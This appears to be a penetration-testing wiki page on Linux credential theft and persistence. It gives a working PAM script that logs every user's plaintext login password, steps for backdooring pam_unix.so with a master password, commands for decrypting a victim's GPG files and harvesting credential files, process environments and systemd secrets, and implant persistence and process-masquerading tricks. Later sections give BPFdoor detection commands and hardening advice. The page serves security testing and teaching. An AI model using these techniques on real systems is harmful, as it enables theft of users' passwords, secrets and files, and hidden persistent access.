{{#include ../../banners/hacktricks-training.md}}
Let's configure a PAM module to log each password each user uses to login. If you don't know what is PAM check:
{{#ref}} pam-pluggable-authentication-modules.md {{#endref}}
For further details check the original post. This is just a summary:
Technique Overview: Pluggable Authentication Modules (PAM) offer flexibility in managing authentication on Unix-based systems. They can enhance security by customizing login processes but also pose risks if misused. This summary outlines a technique to capture login credentials using PAM, alongside mitigation strategies.
Capturing Credentials:
- A bash script named
toomanysecrets.shis crafted to log login attempts, capturing the date, username ($PAM_USER), password (via stdin), and remote host IP ($PAM_RHOST) to/var/log/toomanysecrets.log. - The script is made executable and integrated into the PAM configuration (
common-auth) using thepam_exec.somodule with options to run quietly and expose the authentication token to the script. - The approach demonstrates how a compromised Linux host can be exploited to log credentials discreetly.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.shFor further details check the original post. This is just a summary:
The Pluggable Authentication Module (PAM) is a system used under Linux for user authentication. It operates on three main concepts: username, password, and service. Configuration files for each service are located in the /etc/pam.d/ directory, where shared libraries handle authentication.
Objective: Modify PAM to allow authentication with a specific password, bypassing the actual user password. This is particularly focused on the pam_unix.so shared library used by the common-auth file, which is included by almost all services for password verification.
- Locate the Authentication Directive in the
common-authfile:- The line responsible for checking a user's password calls
pam_unix.so.
- The line responsible for checking a user's password calls
- Modify Source Code:
- Add a conditional statement in the
pam_unix_auth.csource file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process.
- Add a conditional statement in the
- Recompile and Replace the modified
pam_unix.solibrary in the appropriate directory. - Testing:
- Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected.
Tip
You can automate this process with https://github.com/zephrax/linux-pam-backdoor
If you find an encrypted .gpg file and a user’s ~/.gnupg folder (pubring, private-keys, trustdb) but you can’t decrypt due to GnuPG homedir permissions/locks, copy the keyring to a writable location and use it as your GPG home.
Typical errors you’ll see without this: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (because GPG can’t read/write the original homedir).
Workflow:
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpgIf the secret key material is present in private-keys-v1.d, GPG will unlock and decrypt without prompting for a passphrase (or it will prompt if the key is protected).
Besides shell history and SSH keys, these user files frequently expose reusable credentials and tokens:
~/.git-credentials,~/.netrc,~/.npmrc,~/.pypirc~/.aws/credentials,~/.kube/config,~/.docker/config.json,~/.config/containers/auth.json- Desktop keyrings:
~/.local/share/keyrings/,~/.kde/share/apps/kwallet/ - DB/CLI history files:
~/.mysql_history,~/.psql_history,~/.sqlite_history
Quick triage:
ls -la ~ | grep -iE 'history|credential|token|key|secret'
ls -la ~/.ssh ~/.gnupg ~/.aws ~/.kube ~/.docker ~/.config 2>/dev/null
grep -RInE "password|token|secret|api_key|aws_access_key_id|aws_secret_access_key" \
~/.git-credentials ~/.netrc ~/.npmrc ~/.pypirc ~/.aws ~/.kube ~/.docker ~/.config 2>/dev/nullWhen you gain code execution inside a service, the process often inherits sensitive environment variables. These are a gold mine for lateral movement.
Quick wins
- Dump your current process env:
envorprintenv - Dump another process env:
tr '\0' '\n' </proc/<PID>/environ | sed -n '1,200p'- Add
strings -z /proc/<PID>/environiftr/sedaren’t handy
- Add
- In containers, also check PID 1:
tr '\0' '\n' </proc/1/environ
What to look for
- App secrets and admin creds (for example, Grafana sets
GF_SECURITY_ADMIN_USER,GF_SECURITY_ADMIN_PASSWORD) - API keys, DB URIs, SMTP creds, OAuth secrets
- Proxy and TLS overrides:
http_proxy,https_proxy,SSL_CERT_FILE,SSL_CERT_DIR
Notes
- Many orchestrations pass sensitive settings via env; they are inherited by children and exposed to any arbitrary shell you spawn inside the process context.
- In some cases, those creds are reused system-wide (e.g., same username/password valid for SSH on the host), enabling an easy pivot.
Services launched by systemd may bake credentials into unit files as Environment= entries. Enumerate and extract them:
# Unit files and drop-ins
ls -la /etc/systemd/system /lib/systemd/system
# Grep common patterns
sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null | sed 's/\x00/\n/g'
# Example of a root-run web panel
# [Service]
# Environment="BASIC_AUTH_USER=root"
# Environment="BASIC_AUTH_PWD=<password>"
# ExecStart=/usr/bin/crontab-ui
# User=rootOperational artifacts often leak passwords (e.g., backup scripts that call zip -P <pwd>). Those values are frequently reused in internal web UIs (Basic-Auth) or other services.
Hardening
- Move secrets to dedicated secret stores (
systemd-ask-password,EnvironmentFilewith locked perms, or external secret managers) - Avoid embedding creds in unit files; prefer root-only readable drop-in files and remove them from version control
- Rotate leaked passwords discovered during tests
- Copy implants into multiple writable paths (
/tmp,/var/tmp,/dev/shm,/run/lock) and install cron entries such as*/5 * * * * /tmp/<bin>so they respawn even if removed elsewhere. - Enforce single-instance execution by binding a fixed loopback port (for example,
127.0.0.1:51125or127.0.0.1:52225) and exiting ifbind()fails;ss -lntp | grep -E '51125|52225'will reveal the mutex listener. - Operators may periodically mass-kill any process whose
cmdlinecontains the dropper name (e.g.,init_stop), so reusing those names during analysis can collide; pick unique filenames.
- Set the short process name with
prctl(PR_SET_NAME, "<label>")(15-bytecommlimit), commonly toinit, so/proc/<pid>/statusand GUIs show a benign label. - Overwrite the in-memory
argv[0]buffer after reading/proc/self/cmdlinelength and theargv[0]pointer, padding with NULs so/proc/<pid>/cmdlineandpsalso show the fake label. - Hunt by comparing
Name:in/proc/<pid>/statusagainst the real executable path and looking for loopback mutex listeners owned by processes with tiny/blank cmdlines.
Some Linux backdoors avoid exposing any listening port by attaching a malicious BPF socket filter to a raw or packet socket. The implant stays passive, inspects inbound traffic in the kernel path, and only spawns a bind/reverse shell when a controller sends the correct trigger. This means netstat, ss, and nmap can look normal until activation.
Common tradecraft patterns:
- Split implant/controller model: the implant only filters traffic and executes the next stage; a separate controller crafts the activation packet and drives the shell.
- HTTPS-hidden trigger delivery: newer variants can hide the activation bytes inside normal-looking HTTPS requests so the trigger survives reverse proxies, load balancers, and TLS termination paths.
- Fixed-offset "magic ruler" checks: instead of fully parsing HTTP, the controller pads data so a marker such as
9999lands at a predictable offset. Rapid7 observed26-byte rulers withSOCK_DGRAMand40-byte rulers withSOCK_RAW. - ICMP relay/control traffic: compromised hosts can forward commands inside crafted ICMP payloads. A sentinel such as
0xFFFFFFFFcan be used as a "final destination / do not forward" marker. - Protocol-aware filtering: filtering unusual transports such as SCTP moves the implant closer to telecom signaling traffic instead of normal enterprise TCP services.
- Masquerading: combine the trapdoor with the
prctl/argv[0]process renaming tricks from the previous section and with daemon-looking PID or lock files.
Practical hunt from a live host:
# Raw/packet sockets and attached filters
ss -0pb | egrep -i 'packet|raw'
cat /proc/net/packet
# Map suspicious PIDs to their real executable and cmdline
for p in /proc/[0-9]*; do
exe=$(readlink "$p/exe" 2>/dev/null)
cmd=$(tr '\0' ' ' < "$p/cmdline" 2>/dev/null)
[ -n "$exe" ] && printf "%s | %s | %s\n" "${p##*/}" "$exe" "$cmd"
done | egrep -i 'agetty|smartd|init|dockerd|hpas'
# Common environment markers and deleted/fileless execution
grep -aHE 'HOME=/tmp|HISTFILE=/dev/null' /proc/[0-9]*/environ 2>/dev/null
find /proc/[0-9]*/exe -lname '*deleted*' -ls 2>/dev/null
# Mutex / pid artifacts often used to prevent double execution
find /var/run /run -maxdepth 1 -type f \( -name '*.pid' -o -name '*.lock' \) \
-size 0c -printf '%m %p\n' 2>/dev/null
# Persistence paths worth checking after finding a suspicious PID
grep -RInE 'iptables|bpfd|dockerd|hpas|/dev/shm|/var/tmp|/tmp/' \
/etc/systemd /etc/init.d /etc/rc*.d /etc/cron* 2>/dev/nullIf the host supports bpftool, also baseline legitimate BPF usage. Unexpected packet filters, raw sockets, or process names that do not match the backing executable are strong post-exploitation signals even when no listening port is visible.
- 0xdf – HTB Planning (Grafana env creds reuse, systemd BASIC_AUTH)
- alseambusher/crontab-ui
- 0xdf – HTB Environment (GPG homedir relocation to decrypt loot)
- GnuPG Manual – Home directory and GNUPGHOME
- Inside GoBruteforcer: AI-generated server defaults, weak passwords, and crypto-focused campaigns
- Rapid7 Labs - BPFdoor in Telecom Networks: Sleeper Cells in the Backbone
- Rapid7 Labs - Linux BPFDoor Detection Script
{{#include ../../banners/hacktricks-training.md}}